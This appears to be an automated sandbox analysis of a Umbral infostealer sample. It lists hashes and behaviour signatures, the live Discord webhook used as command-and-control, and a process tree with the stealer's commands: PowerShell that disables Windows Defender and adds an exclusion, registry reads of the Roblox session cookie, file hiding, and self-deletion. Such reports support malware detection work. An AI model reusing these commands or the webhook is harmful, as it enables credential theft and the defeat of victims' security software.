Analysis

  • max time kernel
    552s
  • max time network
    434s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-07-2024 13:06

General

  • Target

    thegreatestexploits_services.exe

  • Size

    1.2MB

  • MD5

    aaaf987d8a27c805d177c6063b645be0

  • SHA1

    64eda37efbbbc0cbedcd33f1594223d96d5b9803

  • SHA256

    d864686dd77c81f89803fe21bc596b9188fd2b9ade88f618d60206a9e167953d

  • SHA512

    5126f43fcf8e5f5f62f701b4575d7fd3dfc046614b0889d8dc73631ff876d5998d3f5994743847282270cfa20ba7911d206a41cba3e7327eb017f3fdbe9eefa3

  • SSDEEP

    24576:UxRQjzTD/YM9mIqvJlk0/sFR1TbtXwiSwVizX5C1Wmmrj:YRYzTRMYT5btawQNCXmr

Malware Config

Extracted

Family

umbral

C2

https://discord.com/api/webhooks/1265015414048428153/VWNDpNZhZlKVwrtnGdcffRijkAKSf8EgngZwE8gCRJ90aR_H6BmlLSPeh2FFEO31-nto

Signatures

  • Detect Umbral payload 2 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\thegreatestexploits_services.exe
    "C:\Users\Admin\AppData\Local\Temp\thegreatestexploits_services.exe"
    1⤵
    • Drops file in Drivers directory
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1496
    • C:\Windows\SysWOW64\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:3900
    • C:\Windows\SysWOW64\attrib.exe
      "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\thegreatestexploits_services.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      • Views/modifies file attributes
      PID:4076
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\thegreatestexploits_services.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2660
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5088
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1784
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4100
    • C:\Windows\SysWOW64\Wbem\wmic.exe
      "wmic.exe" os get Caption
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:1676
    • C:\Windows\SysWOW64\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1680
    • C:\Windows\SysWOW64\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1360
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      PID:3964
    • C:\Windows\SysWOW64\Wbem\wmic.exe
      "wmic" path win32_VideoController get name
      2⤵
      • System Location Discovery: System Language Discovery
      • Detects videocard installed
      PID:4244
    • C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\thegreatestexploits_services.exe" && pause
      2⤵
      • System Location Discovery: System Language Discovery
      • System Network Configuration Discovery: Internet Connection Discovery
      • Suspicious use of WriteProcessMemory
      PID:3740
      • C:\Windows\SysWOW64\PING.EXE
        ping localhost
        3⤵
        • System Location Discovery: System Language Discovery
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:992

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    3d086a433708053f9bf9523e1d87a4e8

    SHA1

    b3ab5d4f282a4c8fe8c3005b8a557ed5a0e37f28

    SHA256

    6f8fd1b8d9788ad54eaeee329232187e24b7b43393a01aeba2d6e9675231fb69

    SHA512

    931ae42b4c68a4507ff2342332b08eb407050d47cf4176137ea022d0f6e513c689e998445a04c6d18d4877391705c586bfce0234632b898d41aaed0957996dfd

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    18KB

    MD5

    c603e58227141138e6c9fff2bf883944

    SHA1

    dc237b22682910255d5cf6ad64fc72ad7f2f4dc4

    SHA256

    25d1e64c958f984091f22adc65620f3a637418cf63c8a4bfdf538174019a0223

    SHA512

    6e286459dc9c776e33063b6b0c762c146b31d6a34b0c58462f36a869024c2ea0c3f826f5d162b932f3e7e613e778f231f8c29b0fd396fbb9651b1aa486d53d5f

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    17KB

    MD5

    3ab8a5acf14ab557fde2c49155fccbae

    SHA1

    dbeefc137b8915afabfe245790deb61ba8bbf9fd

    SHA256

    889eff563088318c6851f162a75956f72636b587d22840347f8d40cebcc24ae9

    SHA512

    2c8d2f1a5893610a03ecd5112755c867b83ebe982a952ea215fac4a4913115d2461e85ba3689efee2d96d7cae68cc552c762fac304c35f89eea5ec5b77479ea3

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    18KB

    MD5

    1966ccfe818b23b5419e03b478f30682

    SHA1

    2008cb9e42c46d8feab7fe2f76e9612f1d9326a5

    SHA256

    f73db08dca28783b0f53cdad45451c7671e75e3ba693bd7cedec26ad2c830cc3

    SHA512

    20af013d34e66b8509f0681c11fa3e26490cd2fcc6f0fb7112bbaecf2cc2c79db281dd2f605ebfd145b48e66bff8f9a70acf5bdcad8a9ac798390ac9976e43aa

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    15KB

    MD5

    40832fccdba1dd0f2c3719bdc857d876

    SHA1

    516c23bd9a638d2ef80c597ecb2069cd55f4c77f

    SHA256

    6b3fb612b0ae0f464104fe5dbbe38dccc681384241fd0e944a229794d0a84ced

    SHA512

    137e8b52d46034d72bf24732c6fc70033879b705069a3461c97b7d34f9bec1c4700c67b65e4e4f7da88b2b14164872b107e46a6223416af0f7f5c219033b42cf

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ean4zgwh.5yw.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1496-111-0x0000000008400000-0x000000000840A000-memory.dmp

    Filesize

    40KB

  • memory/1496-0-0x0000000000A60000-0x0000000000ED0000-memory.dmp

    Filesize

    4.4MB

  • memory/1496-135-0x0000000074AA0000-0x0000000075250000-memory.dmp

    Filesize

    7.7MB

  • memory/1496-112-0x00000000086D0000-0x00000000086E2000-memory.dmp

    Filesize

    72KB

  • memory/1496-5-0x0000000074AA0000-0x0000000075250000-memory.dmp

    Filesize

    7.7MB

  • memory/1496-4-0x0000000006D20000-0x00000000072C4000-memory.dmp

    Filesize

    5.6MB

  • memory/1496-3-0x00000000066D0000-0x0000000006762000-memory.dmp

    Filesize

    584KB

  • memory/1496-134-0x0000000000A60000-0x0000000000ED0000-memory.dmp

    Filesize

    4.4MB

  • memory/1496-1-0x0000000074AAE000-0x0000000074AAF000-memory.dmp

    Filesize

    4KB

  • memory/1496-69-0x00000000081E0000-0x0000000008256000-memory.dmp

    Filesize

    472KB

  • memory/1496-2-0x0000000000A60000-0x0000000000ED0000-memory.dmp

    Filesize

    4.4MB

  • memory/1496-70-0x00000000083B0000-0x0000000008400000-memory.dmp

    Filesize

    320KB

  • memory/1496-71-0x0000000008430000-0x000000000844E000-memory.dmp

    Filesize

    120KB

  • memory/1784-93-0x0000000005770000-0x0000000005AC4000-memory.dmp

    Filesize

    3.3MB

  • memory/1784-95-0x0000000005DB0000-0x0000000005DFC000-memory.dmp

    Filesize

    304KB

  • memory/1784-96-0x0000000006EB0000-0x0000000006ED2000-memory.dmp

    Filesize

    136KB

  • memory/2660-12-0x0000000004C10000-0x0000000004C76000-memory.dmp

    Filesize

    408KB

  • memory/2660-38-0x0000000074AA0000-0x0000000075250000-memory.dmp

    Filesize

    7.7MB

  • memory/2660-41-0x0000000074AA0000-0x0000000075250000-memory.dmp

    Filesize

    7.7MB

  • memory/2660-42-0x0000000007380000-0x00000000079FA000-memory.dmp

    Filesize

    6.5MB

  • memory/2660-43-0x0000000006D40000-0x0000000006D5A000-memory.dmp

    Filesize

    104KB

  • memory/2660-44-0x0000000006DB0000-0x0000000006DBA000-memory.dmp

    Filesize

    40KB

  • memory/2660-45-0x0000000006FC0000-0x0000000007056000-memory.dmp

    Filesize

    600KB

  • memory/2660-46-0x0000000006F40000-0x0000000006F51000-memory.dmp

    Filesize

    68KB

  • memory/2660-47-0x0000000006F70000-0x0000000006F7E000-memory.dmp

    Filesize

    56KB

  • memory/2660-48-0x0000000006F80000-0x0000000006F94000-memory.dmp

    Filesize

    80KB

  • memory/2660-49-0x0000000007080000-0x000000000709A000-memory.dmp

    Filesize

    104KB

  • memory/2660-50-0x0000000007060000-0x0000000007068000-memory.dmp

    Filesize

    32KB

  • memory/2660-53-0x0000000074AA0000-0x0000000075250000-memory.dmp

    Filesize

    7.7MB

  • memory/2660-39-0x0000000006C10000-0x0000000006CB3000-memory.dmp

    Filesize

    652KB

  • memory/2660-6-0x0000000000C70000-0x0000000000CA6000-memory.dmp

    Filesize

    216KB

  • memory/2660-40-0x0000000074AA0000-0x0000000075250000-memory.dmp

    Filesize

    7.7MB

  • memory/2660-26-0x0000000006BD0000-0x0000000006C02000-memory.dmp

    Filesize

    200KB

  • memory/2660-27-0x0000000070940000-0x000000007098C000-memory.dmp

    Filesize

    304KB

  • memory/2660-37-0x0000000005FF0000-0x000000000600E000-memory.dmp

    Filesize

    120KB

  • memory/2660-25-0x0000000005A30000-0x0000000005A7C000-memory.dmp

    Filesize

    304KB

  • memory/2660-24-0x00000000059F0000-0x0000000005A0E000-memory.dmp

    Filesize

    120KB

  • memory/2660-23-0x0000000005570000-0x00000000058C4000-memory.dmp

    Filesize

    3.3MB

  • memory/2660-11-0x0000000004B70000-0x0000000004B92000-memory.dmp

    Filesize

    136KB

  • memory/2660-7-0x0000000074AA0000-0x0000000075250000-memory.dmp

    Filesize

    7.7MB

  • memory/2660-13-0x0000000004CF0000-0x0000000004D56000-memory.dmp

    Filesize

    408KB

  • memory/2660-10-0x0000000074AA0000-0x0000000075250000-memory.dmp

    Filesize

    7.7MB

  • memory/2660-8-0x0000000004D70000-0x0000000005398000-memory.dmp

    Filesize

    6.2MB

  • memory/2660-9-0x0000000074AA0000-0x0000000075250000-memory.dmp

    Filesize

    7.7MB

  • memory/3964-125-0x0000000005AF0000-0x0000000005E44000-memory.dmp

    Filesize

    3.3MB

  • memory/3964-127-0x00000000061D0000-0x000000000621C000-memory.dmp

    Filesize

    304KB

  • memory/4100-107-0x0000000005880000-0x0000000005BD4000-memory.dmp

    Filesize

    3.3MB

  • memory/5088-64-0x00000000059C0000-0x0000000005D14000-memory.dmp

    Filesize

    3.3MB